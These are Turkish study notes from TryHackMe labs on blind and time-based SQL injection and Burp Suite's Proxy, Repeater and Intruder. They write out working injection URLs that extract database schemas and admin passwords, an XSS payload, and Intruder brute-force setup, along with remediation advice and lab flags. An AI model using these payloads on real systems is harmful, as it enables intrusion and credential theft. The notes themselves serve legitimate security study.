- bizde buna göre ilerlemeye çalışıyoruz.
- Dolayısıyla çok fazla deneme yanılma yapmamız gerekiyor.
- mesela: olmayan bir kullanıcı girişi yaptığınızda size 'böyle bir kullanıcı kaydı yoktur' gibi bir geri bildirim yapıyor
- uygulama üzerinden gidelim:
- https://website.thm/checkuser?username=admin
- bize: {"taken":true} olarak dönüyor ama
- https://website.thm/checkuser?username=ad
- bize: {"taken":false} olarak dönüyor
- yani yapılan işlemin geçerliliği varsa true yoksa fasle değerini alıyoruz
- ve durumda database den verileri alırken adım adım, harf harf almamız alırken de doğrulamamız gerekiyor
- il olarak Error-Based (hata tabanlı) da olduğu gibi kolon sayısı öğreneceğiz
- https://website.thm/checkuser?username=dogukan' union select 1,2,3;--
burada 3 kolon olduğunu deneye deneye öğrendik
- ve sorugu şuna dönüyor: select * from users where username = 'dogukan' union select 1,2,3;--' LIMIT 1
ve {"taken":true} değeri döndü
- burada herhangi bir çıktı alamadığımız için deneye deneye bulmamız gerekiyor
- şimdi databes() ve like kullanarak tüm veritabanını almaya çalışıyoruz
- https://website.thm/checkuser?username=dogukan' union select 1,2,3 where database() like '%';--
- hala: {"taken":true} doğru gidiyoruz
- buradan sonara like 'a%' bu kısımda harf har ilerleyererk işte önce ilk harfi bul sonra ikinci harfi ...
- https://website.thm/checkuser?username=dogukan' union select 1,2,3 where database() like 'sqli_three%';--
https://website.thm/checkuser?username=dogukan' union select 1,2,3 where database() like 'sqli_three';--
- veritabanı adını sqli_three olarak buluyoruz
- şimdi tablo isimlerini tespit etmez
- aynı yolla tablo ismi için de harf harf ilerlememiz gerekiyor.
- normlade bu işler için çeşitli araçlar mevcut. manuel denemenin çok mantıklı olduğu söylenemez
- ama biz şuan eğitim materyali üzerinden gittiğimiz için bu bilgileri elde ettiğimizi var sayıyoruz
- dogukan' union select 1,2,3 from information_schema.tables where table_schema like 'sqli_three' and table_name like '%';--
dogukan' union select 1,2,3 from information_schema.tables where table_schema like 'sqli_three' and table_name like 'users';--
tablo adını = users olarak bulduk
- şimdi kolonl isimleri için aynı şeyi yapacağız
- dogukan' union select 1,2,3 from information_schema.columns where table_schema='sqli_three' and table_name='users' and column_name like '%';
dogukan' union select 1,2,3 from information_schema.columns where table_schema='sqli_three' and table_name='users' and column_name like 'a%' and column_name != 'id';--
- burada column_name != id yapmamızın sebebi zaten id değerinin olduğunu biliyoruz ama başka varmı bilmiyoruz
bunun için devre dışı bırakarak izliyor ve: {"taken":true} başka yokmuş
- şimdi ise diğer kolunları bakmak için yine deneme yönemtelerini kullanacağız ama bu sefer: column_name like '%' bu kısımda bakacağız
- https://website.thm/checkuser?username=dogukan' union select 1,2,3 from information_schema.columns where table_schema='sqli_three' and table_name='users' and column_name like 'username' and column_name != 'id';--
- burada username kolon adını bulduk şimdi bunuda hariç tutalım
- https://website.thm/checkuser?username=dogukan' union select 1,2,3 from information_schema.columns where table_schema='sqli_three' and table_name='users' and column_name like 'password' and column_name != 'username' and column_name != 'id';--
- burda da password kolona adını bulduk
- bunlar bizim aradığımız bilgilerdi.
- analiz bulgular:
- veritabanı adı: sqli_three
- tablo adı= users
- tablo kolon adları: id,username,password
- şimdi bu içerideki bilgileri elde etmeye geldi sıra:
- bu bilgileri elde ederkende yine adım adım ilerliyoruz. bir önceki adımlarda yaptığımız gibi.
https://website.thm/checkuser?username=dogukan' union select 1,2,3 from users where username like '%' union select 1,2,3 from users where password like '%';--
- burada % işareti olan yerlere deneme yanılma yöntemi ile bulunabilir hatta sırayala gidilecek olursa önce
https://website.thm/checkuser?username=dogukan' union select 1,2,3 from users where username like '%';--
- kullanıcı adnı doğrulayın.
https://website.thm/checkuser?username=dogukan' union select 1,2,3 from users where username like 'admin';--
- sonra da password ü doğrulayın yani bulmaya çalışın
https://website.thm/checkuser?username=dogukan' union select 1,2,3 from users where username like 'admin' and union select 1,2,3 from user where password like '%';--
- bu denemeler sonunucunda ulaşacağımız bilgiler
https://website.thm/checkuser?username=dogukan' union select 1,2,3 from users where username like 'admin' and union select 1,2,3 from user where password like '3845';--
analiz:
username: admin
password: 3845
ve bayrağımız: THM{SQL_INJECTION_1093}
- unutulmaamlıdır ki kör sql enjecsiyonu:
- zorlu, uzun süreli ve karmaşık bir süreçtir
- zor fark edilir ve oldukça tehlikelidir. Çokta uzak olmayan bir zamandan örnek verelim.
- Örnek bir olayı hatırlayalım:
kör SQL enjeksiyonuna örnek olarak en bilinen olaylardan biri, Sony Pictures 2011 veri sızıntısıdır. Bu saldırı,
Sony nin müşteri bilgilerini depoladığı veritabanına karşı gerçekleştirildi ve kör SQL enjeksiyonu kullanılarak
yaklaşık 77 milyon kullanıcının kişisel bilgileri ele geçirildi. Saldırganlar, kör SQL enjeksiyonu ile sunucunun
direkt hata mesajları döndürmemesine rağmen, verileri yavaş ve metodik bir şekilde çalmayı başardılar.
Kör SQL enjeksiyonu saldırılarında saldırganlar, sistemin doğrudan hata mesajları veya sonuçlar vermediği durumlarda
bile doğru/yanlış yanıtlarına dayanarak bilgi sızdırabilirler. Sony olayında da saldırganlar bu yöntemi kullanarak
hassas verilere erişim sağladı.
- 'Blind SQLi - Time Based : Zamana Dayalı Kör SQL
- daha öncede gördüğümüz Error-Based SQL Injection gibi tüm sonuçları tek seferde vermiyor
- bu yüzden burada da aynı şekilde yapacağız ama bu sefere sleep() fonksiyonu kullarak yapacağız.
- Time-based blind SQL injection nu boolean-based saldırıya benzer, ancak görsel geri bildirim yerine
sorgunun doğru olup olmadığını cevap süresine göre belirlenir.
- sleep(x) gibi araçlar ile sorgunun yanıt süresine gecikme eklenerek başarı anlaşılabilir.
- eğer gecikme varsa var, gecikme yoksa yok olduğunu anlayabiliriz.
- bir önceki senaryoda yaptıklarımıza benzer ancak ek olarak sleep() aracını ekleyeceğiz.
- başlayalım:
- önce kolon sayısını öğrenelim:
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1);--
ve evet 2 kolon var şimdi de veritabanı ismini bulmaya çalışacağız:
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) where database() like 'a%';--
burada teker teker deneyeceğiz artık
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) where database() like 'sqli_four';--
veritabanı ismini bulduk, şimdi de tablo ismini bulmamız gerek
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.tables where table_schema like 'sqli_four' and table_name like 'u%';--
burada da aynı şekilde harf harf doğrulaam yapacağız
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.tables where table_schema like 'sqli_four' and table_name like 'users';--
tablo adımızı da bulduk şimdi kolon isimlerini bulmamız gerekiyor
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name like 'a%';--
aynı şekilde harf harf (yapcak birşey yok direkt gelmiyor meled 😀️)
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name like 'username%';--
kullanıcı adını bulduk şimdi bakmaya devam
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name <> 'username' and column_name like 'a%';--
bulduklarımızı tarmaya dahil etmiyoruz, zaten görsel dönüt yokya işimizi daha da zorlaştırmanın bir manası da yok
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name <> 'username' and column_name like 'password%';--
bir tane daha bulduk
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name <> 'username' and column_name <> 'password%' and column_name like 'a%';--
bakmaya devam
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name <> 'username' and column_name <> 'password' and column_name like 'id';--
hepsinden % işaretlerini kaldırıp doğruluğunu da kanıtladık
artık elimizde olanlar:
veritabanı adı: sqli_four
tablo adı: users
kolon adları: id, username, password
şimdide bu tabloda isim ve password arayacağız (deneme yanılma, harf harf onaylama devammm 😀️)
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from users where username like 'a%';--
kullanıcı adından başladık
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from users where username like 'admin';--
username = admin
şimdi password eşleşmesini bulmamız gerek
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from users where username = 'admin' and password like '2%';--
teker teker onaylayacağız devam
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from users where username like 'admin' and password like '4961%';--
hepsini doğrulayalım:
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from users where username = 'admin' and password = '4961';--
username: admin
password: 4961
bayrak: THM{SQL_INJECTION_MASTER}
-'Out-of-Band SQLi : Bant Dışı SQLi
- Çok yaygın bir uygulama değildir.
- yağılan SQL sorgusunun çıktısını farlı yolla alma durumunda ortaya çıkıyor
- örn:
saldırgan, bir web uygulamasına HTTP isteği atarak saldırıyı gerçekleştiriyor
önceki konularda gördüğümüz gibi. Ama dönen sonuç web uygulamasında değilde
saldırganın kontrolünde olan örn. bir DNS sunucusuna yönlendirilir
yani: isteğin yapıldığı yer ile sonucun döndüğü yer farklı olduğu durumlarda
buna Out-of-Band SQLi denir.
- soru: Bir veritabanından veri sızdırmak için kullanılabilecek D ile başlayan bir protokole isim verin. : DNS
-'Remediation : İyileştirme
- Bu başlık altın SQL Injection dan korunma yollarına bakacağız. Üç başlıkta:
- Prepared Statements (With Parameterized Queries): Hazırlanan İfadeler (Parametreli Sorgularla):
- bu korunma yönteminde:
- kullanıcıdan gelen veriler sql sorugusuna dahil edilmeden parmetreler ile
değer olarak eklenir.
- sorgu yapısı bozulmadığı için sql ınjection gerçekleşmez
- Input Validation: Giriş Doğrulaması:
- bu korunma yönteminde:
- bir izin listesi hazırlanrak, hangi sorgulara izin verildiği listede belirtilir
- veya sorgu yapısını değiştirme durumu olan karakterlerin hariç tutulması sağlanabilir
- Escaping User Input: Kaçan Kullanıcı Girişi:
- bu korunma yönteminde:
- kullanıcdan gelen değerlere \ eklendiği zaman bunlar normal karakterlere dönerler
- yani sql sorgu ifadeleri olmazlar, normal değer olurlar
- ve bu sayede sql sorgu yapısı bozulmaz ve sql ınjecttion gerçekleşmez
- soru: Kendinizi SQL Injection istismarından korumanın bir yöntemini adlandırın. : Prepared Statements
15.Study: ' Burp Suite: The Basics
- 'Burp Suit nedir:
- web uygulamaları ve mobil uygulamalara yönelik sızma testlerinde kullanılan ve java ile yazılmış profesyonel bir araçtır.
- bir saldırgan, web sunucusu ile istemci arasındaki tüm trafiği yakalayabilir ve yönetebilir
- daha anlaşılır bir ifade ile:
- saldırganın browser ın dan çıkan bilgileri hedef web sitesine ulaşmadan yakalar ve değiştirilerek gönderilmesini sağlayabilir.
- BurpSuit temelde bu işlemi yapar.
- ve bu şekilde yakaladığı tüm trafiği, içerisinde bulumdurduğu farklı özelliklere gönderebilir.
- burpsuit, web uygulamalarına yönelik mauel sızma testi çalışmalarını mükemmel hale getirir.
- üç sürümü vardır, herkesin kullandığı sürüm ve diğer ikiside paralı lisanslama şeklinde.
- biz ücretsiz olan community sürümü kullanacağız.
- sorular:
Burp Suite in hangi sürümü bir sunucuda çalışır ve hedef web uygulamaları için sürekli tarama sağlar? : Burp Suite Enterprise
Burp Suite, web uygulamalarına ve ______ uygulamalara saldırırken sıklıkla kullanılır. : Mobile
- 'Features of Burp Community : Burp Suite Özellikleri (community sürüm özellikleri)
- proxy:
- web ugulamaları ile etkileşim kurulurken istekleri ve yanıtları yakalayarak engellemeye veya değiştirmeye olanak tanıyan bir özelliktir
- repeater:
- aynı isteği defalarca yakalamaya, değiştirmeye ve yeniden göndermeye olanak tanır.
- özellikle deneme yanılma yoluyla bir payload oluşturmamız gerektiğinde kullanılabilir
- sql konusunda kör sql saldırısında yüzlerce deneme yapmamız gerekiyordu işte bu durumlarda burp suit in repeater özelliği kullanılabilir.
- intruder:
- kaba kuvvet (Brute Force) saldırılarında kullanılan bir özellik
- decoder:
- verilerin dönüştürülmesinde kullanılır.
- yakalanan verilerin çözülmesi veya gönderilirken verilerin dönüştürülerek gönderilmesi bu decoder özelliği aracılığı ile yapılır.
- comparer:
- iki veri parçasının kelime veya bayt düzeyinde karşılaştırma yaparak aradı farkı anlamamızı sağlar
- sequencer:
- oturum tanımlama bilgisi ve benzeri değerlerin kontrolünde kullanılır
- yani:
rastgele oluşturulması gereken bir değer varsa ve bu sırayla oluşturulmuşsa bu sistem için tehlikeli olacaktır
işte bunu anlamamızı sağlayacak özellikte burp suit in sequencer özelliğidir.
yani rastgele mi, sıraylam mı oluşturulmuş bunu anlamamızı sağlar
- sorular:
Hangi Burp Suite özelliği kendimizle hedef arasındaki istekleri engellememizi sağlar? : proxy
Bir giriş formuna kaba kuvvet uygulamak için hangi Burp aracını kullanırız? : intruder
- 'The Dashboard : Burp Suite Gösterge Tablosu
- tasks:
- biz uygulamayı kullanırken burpsuit in çalıştıracağı arak planda görevlerini tanımlamamızı sağlar
- pro sürümde isteğe bağlı taramalar da bu kısımda oluşturulabilir
- event log
- burp suit aracılığı ile herhangi bir bağlantı bilgileri verir tarih/zaman
- issue activity (pro sürüm)
- bu kısım pro sürümüne özel bir bölüm
- otomaik olarak tarayıcı taradından bulunan güvenlik açıkları listelenir
- advisory (pro sürüm)
- bu danışma bölümü de bulunan güvenlik açıklarının referanslar ver önerilen düzeltmeler hakkında daha detaylı bilgi verir
- burada bizim kullanacağımız alanlar ise:
- event log
- tasks
- soru: Proxy yi başlatmak gibi Burp Suite tarafından gerçekleştirilen eylemler ve Burp aracılığıyla yapılan bağlantılarla ilgili ayrıntılar hangi menüde sağlanır? : event log
- ' Options : Burp Suite Ayarları
- İki tür ayar vardır. Bunlar:
- user settings : burp suit tin tamamında daki yapılandırmaları içeri
- project settings : geçerli projede yapılan yapılandırmaları içerir
- bu kısıma ulaşmak için:
- Ayarlar penceresinin sol tarafında bir menü bulacaksınız. Bu menü, aşağıdakiler dahil farklı ayar türleri arasında geçiş yapmanızı sağlar:
- search: Anahtar sözcükleri kullanarak belirli ayarları aramayı etkinleştirir.
- type filter: user ve project seçeneklerinin ayarlarını filtreler.
- user settings: Burp Suite kurulumunun tamamını etkileyen ayarları gösterir.
- project settings: Geçerli projeye özel ayarları görüntüler.
- categories: Ayarların kategoriye göre seçilmesine olanak sağlar.
- filtreleme ile ayarları bulmak için: Proxy > proxy settings
- bu kısımdan ulaşılabilir.
- sorular:
Hangi kategoride "Cookie jar" referansını bulabilirsiniz? : sessions
Burp Suite güncelleme davranışını kontrol eden "Updates" alt kategorisini hangi temel kategoride bulabilirsiniz? : suite
Burp Suite te kısayolların tuş atamalarını değiştirmenize olanak sağlayan sub-category adı nedir? : hotkeys
İstemci Tarafı TLS sertifikalarını yüklemişsek, bunları proje bazında (yea/nay) geçersiz kılabilir miyiz? : Yea
- 'Introduction to the Burp Proxy : Burp Proxy ye Giriş ve Site Haritası ve Sorun Tanımları
- proxy özelliği sayesinde browser ile hedef web sunucusu arasına girebiliriz ve değişiklikler yapabiliriz
- ve bu yapılan değişikler ile farklı sonuçların döndürülmesini sağlayabiliriz.
- uygulama:
- daha önceki sürümlerinde olmayan yerleşik browser özelliği mevcut. Biz her iki kısımda da işimizi yapabiliriz.
- yerleşik browser için önce normla kullnıcı olmamız gerek yani mesela:
- bir terminal açalım ve root kullanıcısı olamadan burpsuite yazalım
- sonra gelen ekeranları next > startup > proxy > open brwoser
- açıldığı göreceksiniz.
- işlemlerimizi burada yapcağız.
- not: tryhacme de openvpn bağlantısını kullanarak kendi kalinizde çalışma yapabilirsiniz. startmachine butonuna tıkladıktan sonra gelen ip yi
browser a girip çalışma ortamını aktif edebilirsiniz.
- open browser dedikten sonra intercept is off kısımı var . bu açık ise browser da yapılan tüm istekler, yanıtlar vb. paketlerin hepsi yakalanacaktır.
- ek olarak web güvenliği hakkında burpsuite aracı ile bilgi öğrenmek isteyenler için: https://portswigger.net/web-security
- burp suite tarafından ücretsizdir.
- ve bu aşamada burpsuite üzerinde değişikliğe uğratılarak hedef web sunucusuna o şekilde gönderilecektir.
- öncelikle egitim.beyazhacker.com sitesine gitmeye çalışalım
- gördüğünüz üzere request (istek) paketinin yakalandığını göreceksiniz
- forward butonuna basarak süreci izleyebiliriz.
- burada paket bilgisi değiştirilerek bir gönderim sağlayacağız ve ne tepki verdiğini inceleyeceğiz
- yakalanan pakette şu kısımı değiştirelim:
- Host: egitim.beyazhacker.com => Host: beyazhacker.com
- forward diyelim
- tekrar aynı işlemi yaparak forward diyelim
- ve bu süreçte bir yönlendirme yapmış olduk
- burada gönderilen istek manipüle edildi.
- bunun dönüşü yani response u da manipüle edebiliriz
- bunun için bir ayar yapmamız gerek:
- proxy settings => response interception rules => ve hemen altındaki kutucuğu işaretleyin ve projeye geri dönün
- şimdi browser a beyazhacker.com yazın ama interceps on olmalı
- bunu yaptıktan sonra requset sorgusunun oluştuğunu göreceksiniz yani beyazhacker.com a gidilecek
- forward değin
- response olarak bunu görebilirsiniz
- yani sunucudan dönen cevap bu
- yani web sayfa içeriğini görmiş oluyoruz
- burada değiştirebileceğimiz bir içerik arayın (gideceğiniz siteyi kendiniz de belitleyebilirsiniz)
- ve burada tam olarak hem giden hem de dönen bilgiler manipüle edilmiş oldu
- yani istek atırlıken de manipüle edildi yanıt dönerken de manipüle edildi
- burada bahsedeceğimiz kısımlar: target altında 'site map' site haritesı ve 'issue definitions' sorun tanımları kısımları
- bu sorun tanımları kısmı güvenlik açıklarıyle alakalı bize bilgi veren bir alandır
- bizim kullandığımız sürümde bu yok ama gücvenlik açıklarıyla alakalı bilgi alabileceğimiz bir alan
- bizim için önemli olan kısım site haritası kısmı
- bu site map kısmı:
- normal kullanıcıya gösterilmek istenmeyen
- yada bir sayfa yüklendiği zaman arada hızlı bir şekilde yüklenen ve normal kullanıcıların görmemesi gereken sayfalar olabilir
- bizde bunu site map özelliği ile elde edebiliriz
- sorudan ilerleyerek
- sorr: soru: Olağandışı bitiş noktasını ziyaret ettikten sonra aldığınız bayrak nedir? : THM{NmNlZTliNGE1MWU1ZTQzMzgzNmFiNWVk}
- cevap:
burada teker teker sayfaları kontorol ederken support kısmında bir requset olduğunu ve şöyle garip bir başlığılın olduğunu keşfettik
=> GET /5yjR2GLcoGoij2ZK HTTP/1.1
buradaki bu /5yjR2GLcoGoij2ZK kısımı alarak urlde ekledik
http://10.10.66.229/5yjR2GLcoGoij2ZK
ve bize burpsuite üzerinde dönen response yantında
THM{NmNlZTliNGE1MWU1ZTQzMzgzNmFiNWVk}
bayrağımızı bulduk
- 'Proxying HTTPS
- burpsuite i default ayarlar ile kullandığımızda SSL sertificası hatası ile karşılaşıyoruz
- bu hatanın giderilmesi için bir sertifika upload işlemi var bunu uygulayacağız
- browser ile burpsuite etkileşim halindeyken url kısmına : http://burpsuite/ yazalım
- ekranda: CA Certificate ibaresini göreceksiniz buna tıklayın
- tıkladıktan sonra bir dosya inecek bu dosyamızı kullanacağız
- url kısmına: about:preferences yazın
- arama kısmına: certificates
- authorities kısmında import a bas
- indirdiğin dosyaya seç
- ve ilk kutucuğu işaretleyip onayla daha sonra google.com a gitmeye çalış. eğer ssl hatası alırsan adımları tekrarka almazsan başardın demektir.
- ' Burp Suite Kapsam Belirleme
- bir web sitesine gitmek üzere istek atıldığı zaman ilgili sitenin tüm web sitelerine de istek atılmış oluyor
- şimdi bunun için firefoz umuzu burpsuit ile ilişikilendirelim
- kapsam belirleme yapmadan önce ki istek durumunu bir inceleyelim
- herhangi bir site adresine gitmeye çalışın
- göreceksiniz ki browser, bu istek ile ilgili başka servis vb. şeyleride yakalıyor burpsuite
- bu da ekstra kalabalık demek
- kapsam belirlek için önce ilk istek yakalandıktan sonra 'burpsuite' de 'Target' kısmına bir gidelim
- burada 'site map' kısmında birden fazla site ile ilişki kurduğunu göreceksiniz
- istediğimiz hedefi önce mouse ile seçelim
- sağ tıklayıp 'add to scope' diyerek daha sonra 'yes' dedikten sonra bu kapsam belirleme işlemi olmuş oluyor.
- bunu kontrol etmek için 'scope' sekmesine tıklayın burpsuite de ve burada eklendiğini göreceksiniz
- yani artık kısıtlamayı bu domain için yapcak
- bu domain harici gerçekleşen istekler yakalanmayacak
- son olarak 'proxy' sekmesinden options atıklayın ve
- burada request kımında 'relationship' de 'is in target scpoe' tikleyin
- bu bu şu demek:
- hem tüm içeriği yakalacak ve ardından target => scope alanında bulunan hedeflari yakalacak
- ' Burp Suite ile XSS Güvenlik Açığı İstismarı
- bu kısımda örnek bir xss hacking uygulaması yapacağız
- hedef sistemde kullanıcıda bir veri girişi beklenen yerlere javascript kodu çalıştıra biliyorsak burada xss açığı var diyebiliriz.
- burada da hedef link te ticket sayfasında bir gücenlik açığı varmış buna bakalım:
- burada bir javascript kodu yazmaya çalışalım: http://10.10.201.13/ticket/
- <script>alert("Succ3ssful XSS")</script>
- ama otomaik olarak silindiğini göreceksiniz
- burpsuite aracı ile paket yakalıp giden verinin değiştirilmesini sağlayarak yapmaya çalışalım
- response interceptions ı aktif edelim önce
- daha sonra open broser açalım ve ve buradan giriş yapalım
- burada istenilen bilgiler girildikten sonra onay butonuna basalım
- burpsuite de forward diyelim ve şöyle bir şey yakalayacak: email=dogukan%40gmail.com&content=hi+hacked
- email kısmını: email=dogukan%40gmail.com&content=hi+hacked
- bu kısımı şöyle değiştirelim: email=<script>alert("Succ3ssful+XSS")</script>&content=h1+hacked
- ve forwar diyelim ve sonuç: Succ3ssful XSS
16.Study: ' Burp Suite: Repeater
- ' What is Repeater?
- yakalana istekleri manipüle etme, tekrar tekrar göndermek için kullanılan bir özelliktir
- Repeater:
- proxy yoluyla elde edilen requsets ler üzerinde istediğimiz değişiklikleri yaprak
tekrar tekrar hedef sisteme göndermemizi ve sunucudan dönen cevapları incelememizi sağlan bir özellik
- uygulama yaparak bunu pekiştirelim
- ilk olarak proxy ile bir istek yakalamamız gerekiyor
- proxy ile yakalanan requset, repeater a göndererek işlem yapacağız
- istek yakalandıktan sonra ekrana sağ tık ile 'send to repeater' a tıklıyoruz
- burada değişiklik yaprk aynı zamanda browser etkileşime girmeden response kısmında neler olduğunu gözlemleyebiliriz
- mesela https://10-10-172-21.p.thmlabs.com/ gittiğimiz de buradki istek paketini gönderelim repeater a
- ve burada istek daha sunucuya ulaşmadan değişikliklere nasıl tepki verdiğini görebiliriz
- request list :üst köşe, repeater istek listesini gösterir ve birden fazla isteği aynı anda yönetir
- request control :istek listesinin altında, isteği görme, iptal etme ve geçmişteki isteklere göz atma seçeneği sunar
- request and respomse view :arayüzün ana kısmında, isteği düzenleyip görebileceğiniz, yanıtı düzenleyebileceğiniz alan
- layout options : İstek ve yanıt görünümlerinin yerleşimini özelleştirmek için
- inspector : istekleri daha sezgizel bir şekilde analiz etme ve düzenleme imkanı sunar
- target : hedef, ip adresi veya alan adını gösterir
- soru: Hangi bölümler isteklerimiz üzerinde bize daha sezgisel bir kontrol sağlıyor? : Inspector
- ' Repeater Inspector:
- yapılan request ler ile dönen respons lar ile ilgili olarak sonuçları kategorize eden bir yapı
- bu kısımda ekleme, silme ve düzenleme işlemleri yapılabilir
- buradaki isteklerde, gözümündeen kaçma ihtimali olan verileri düzenli bir formatta gösteren yapı
- bunlar:
istek nitelikler
istek sorgu parametreleri
istek sayfanın nody kımında form aracın mesela bir gönderim varsa bu yakalanır
istek çerezler
istek başlıklar
yanıt başlıklar
- ' bir saldırgan gözü ile paket değişim değerlendirme:
- İsteğin sonundaki sayıyı aşırı girişlerle değiştirerek sunucunun "500 Dahili Sunucu Hatası" koduyla hata vermesini sağlayıp sağlayamayacağınıza bakın.
Uç noktada 500 hatasına neden olduğunuzda aldığınız bayrak nedir?
- bu kısımda bir saldırgan mış gibi düşünelim:
- saldırgan bir kişi bir sistemi normal bir şekil de kullanmaz
- sistemin ilerleyişi neyse onun tersine işlem yapar
- böylelikle sistemin açığını bulabilsin
- diyelim ki bir web sitesinde bazı ürünler.
(soru: neden bu değerlar artarak gidiyor??)
(mesela değerler çarpım olarak ilerleyemez mi??)
(negatif olarak girilemez mi ??)
- yani sistemin beklediğinin dışında birşeyler elde etmek istesek nasıl bir sonuçla karşılaşırız??
işte bunun kontrolünü yapmamız gerekiyor
- ' Extra-mile Challenge (hata tabanlı sql injection)
- hata tabanlı sql injection yapacağız burada:
- tek veya çift tırnak ile sql injection varmı yok mu bunu anlayabiliyorduk
- fakat burada bize veritabanında bir veri döndürmeyen yani hiç olmayan bir sayfa bulmamız gerek
- bunu için prox ile yakaladığımız isteğin başlık kısmını GET /about/1 HTTP/1.1
şu şekilde değiştirelim: GET /about/10 HTTP/1.1
- daha sonra bizde web sayfasında gösterilmeye ama var olan bir kolon içindeki bilgiyi istiyor
- bunun içinde tüm kolonları bulmamız gerek. UNION ile yapacağız bu işlemi
- şimdi daha önce sql injection da yaptığımız gibi yalnız bu sefer burpsuite in repeater özelliğini kullarak
bir sql injection saldırısı yapacağız.
- önce gösterilen kolon sayılarını bulalım: (zaten biliyoruz 5)
- GET /about/10 union select 1,2,3,4,5 HTTP/1.1
- şimdi veritabanı adını bulalım (bunun için database())
- GET /about/10 union select 1,2,3,4,database() HTTP/1.1 => site
- şimdi bu siteyi kullanarak site içindeki tablo adlarını kullanalım
- GET /about/10 union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema = 'site' HTTP/1.1 => people
- tablo isminide aldık zaten biliyorduk ama amaç adımları hatırlamak
- şimdi ise tablonun kolonlarını bulacağız
- GET /about/10 union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name = 'people' HTTP/1.1
=> id,firstName,lastName,pfpLink,role,shortRole,bio,notes
- tüm kolonlarımızı da bulduk
- şimdi bize gerekli olmayan ve zaten web sitesinde gösterilen il 5 kolona gerek ama id yi alalım yani
- GET /about/10 union select 1,2,3,4,group_concat(id,':',shortRole,':',bio,':',notes separator '<br>') from people where id = 1 HTTP/1.1
- GET /about/10 union select 1,2,3,4,group_concat(notes separator '<br>') from people where id = 1 HTTP/1.1
- ve yakaladık: THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}
17.Study: ' Burp Suite - İntruder
- ' What is Intruder:
- burpsuite de proxy özelliği ile elde ettiğimiz isteğe değiştirilmiş değerler ile otomatik olarak çok daha fazla istek göndermek için
kullanılan bir özellik
- örn:
- bir üye giriş panelini düşünün
- username ve password denemesi yapılılıyor
- bu intruder özelliği sayesinde orada ki username ve password kısmını değişik değerler ile kontrol ederek
- doğru username ve password bilgisi elde edilebilir
- öncelikle bize verilen link e giderek burada burp suite aracı ile intruder özelliğinin bölümlerine bakalım
- proxy ile yakalanan isteği send to inruder diyeyerek buraya gönderelim
- şimdi intruder a gidelim ve positions kısıma gelelim
- burada payloads positions kısmında değiştirilecek alanı belirlemeliyiz (şuanlık bir giriş paneli yok ama bu ön bilgi)
- burada değiştirilecek alanı seçip add butonuna tıkladığımızda bu kısıma saldırı gerçekleştirebiliriz. (add 1,add 2 ...)
- ve ek olarak burada saldırı tipini belirleyebiliriz (choose an attack type)
- şimdi payloads kımına geçelim
- burada, o değiştirilecek değerler (sırası ile) payload simple settings kımında bir liste veya elle yordamı ile denenecek değerler girilebilir
- options kısmı: saldırı ile ayarların yapıldığı bir bölüm
- resource pool: bu kısım lisanslı sürüm ile alakalı olduğunda bunu kullanmayacağız
- soru: Planladığımız saldırının "Saldırı tipini" hangi Intruder sekmesinde tanımlayabiliriz? : positions
- ' Positions
- hedefimizde : http://10.10.23.114/support/login/
- burada önce rastgele bir girdi yapalım ve giden isteği yalayıp bunu intruder a yollayalım
- ve burada username ve password kıısmlarının değişeceği alanları belirlemeye bakalım
- istek yakalandığında alt kısımlarda şunu göreceksiniz: username=dogukan&password=12345
- burada girdiğiniz değerleri sırayla seçerek add butonuna tıklayın
- ve şöyle görünmesini sağlayın: username=§dogukan§&password=§12345§
- eğer değişecek alanların sistem tarafından otomatik olarak algılansın istiyorsak: Auto butonuna basarak bunu gerçekleştirebiliriz. Deneyin
- amacımız giriş onaylı doğru giriş değerlerine sahip kullanıcı bilgilerini almak
- mesela eğer kullanıcı adı biliniyorsa o zaman sadece parola kısmını seçerek bu kısıma yönelik saldırı yapılabilir
- sıralama şu şekilde olur seçimlerde: soldan sağa ve yukarıdan aşağı
- bu örneğimize göre: dogukan , birin değişecek alan | 12345 , ikinci değişecek alan
- (bu kısımlar pekiştirme amaçlıdır daha sonra bahsedilecektir)
- atack tipini de Cluster bomb yapalım ve payloads kısmını geçtiğimizde
- payloads set i incelediğinizde iki seçenek olacak
- bunlar bizim belirttiğimiz alanlar. 1:dogukan, 2:12345
- ekstra bir şey daha eklemeyi deneyin rasgele
- tekrar payloads set kısmına gelin ve burada 3 seçenek olduğunu göreceksizin
- rasgele seçtiğiniz değer yukarıda ise bu sefer değerler şöyle değişecek
- örn: 1:max-age=0, 2:dogukan, 3:12345
- ve herbir seçilen değer için ayrı ayrı eğer varsa bir dosya veya elle değer girerek bunun denemesini yapmasını sağlayabiliriz
- örnek birtane yapalım ama elle girelim
- bunun için payloads kısmında önce payloads set değerini seçin ve sonra alt kısımdaki payloads settings (simple list) kısmına add butonu yanındaki textboxa
değer girip add demeniz yeterli
- daha önce seçtiğiniz rasgele değeri caldırmak için o değeri seçin ve clear butonuna basın
- tamadır şimdi eklemeye başlayın
- username için:
admin
user
aaaa
USadmin
SU
root
- password için:
1241123
3424
234
12
23
543534
admin
root
